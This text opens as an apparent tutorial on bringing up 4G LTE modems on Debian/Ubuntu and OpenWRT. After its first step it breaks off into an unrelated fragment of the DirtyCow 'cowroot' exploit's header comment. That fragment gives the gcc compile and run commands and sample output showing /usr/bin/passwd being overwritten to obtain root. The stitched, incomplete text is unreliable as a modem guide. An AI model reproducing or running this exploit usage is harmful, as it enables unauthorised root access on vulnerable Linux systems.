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The purpose of this document is to get you familiar with the concepts and command line tools involved with connecting to the internet using modern 4G LTE modems on both Debian/Ubuntu and OpenWRT.

This writeup is based on my experiences with the Sierra Wireless AirPrime MC7455 modem and a Calyx (Sprint) SIM card, but it should apply to most modern 4G LTE modems.

High level overview

These are the steps required:

Physically connect antennas

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	* (un)comment correct payload first (x86 or x64)!
	*
	* $ gcc cowroot.c -o cowroot -pthread
	* $ ./cowroot
	* DirtyCow root privilege escalation
	* Backing up /usr/bin/passwd.. to /tmp/bak
	* Size of binary: 57048
	* Racing, this may take a while..
	* /usr/bin/passwd overwritten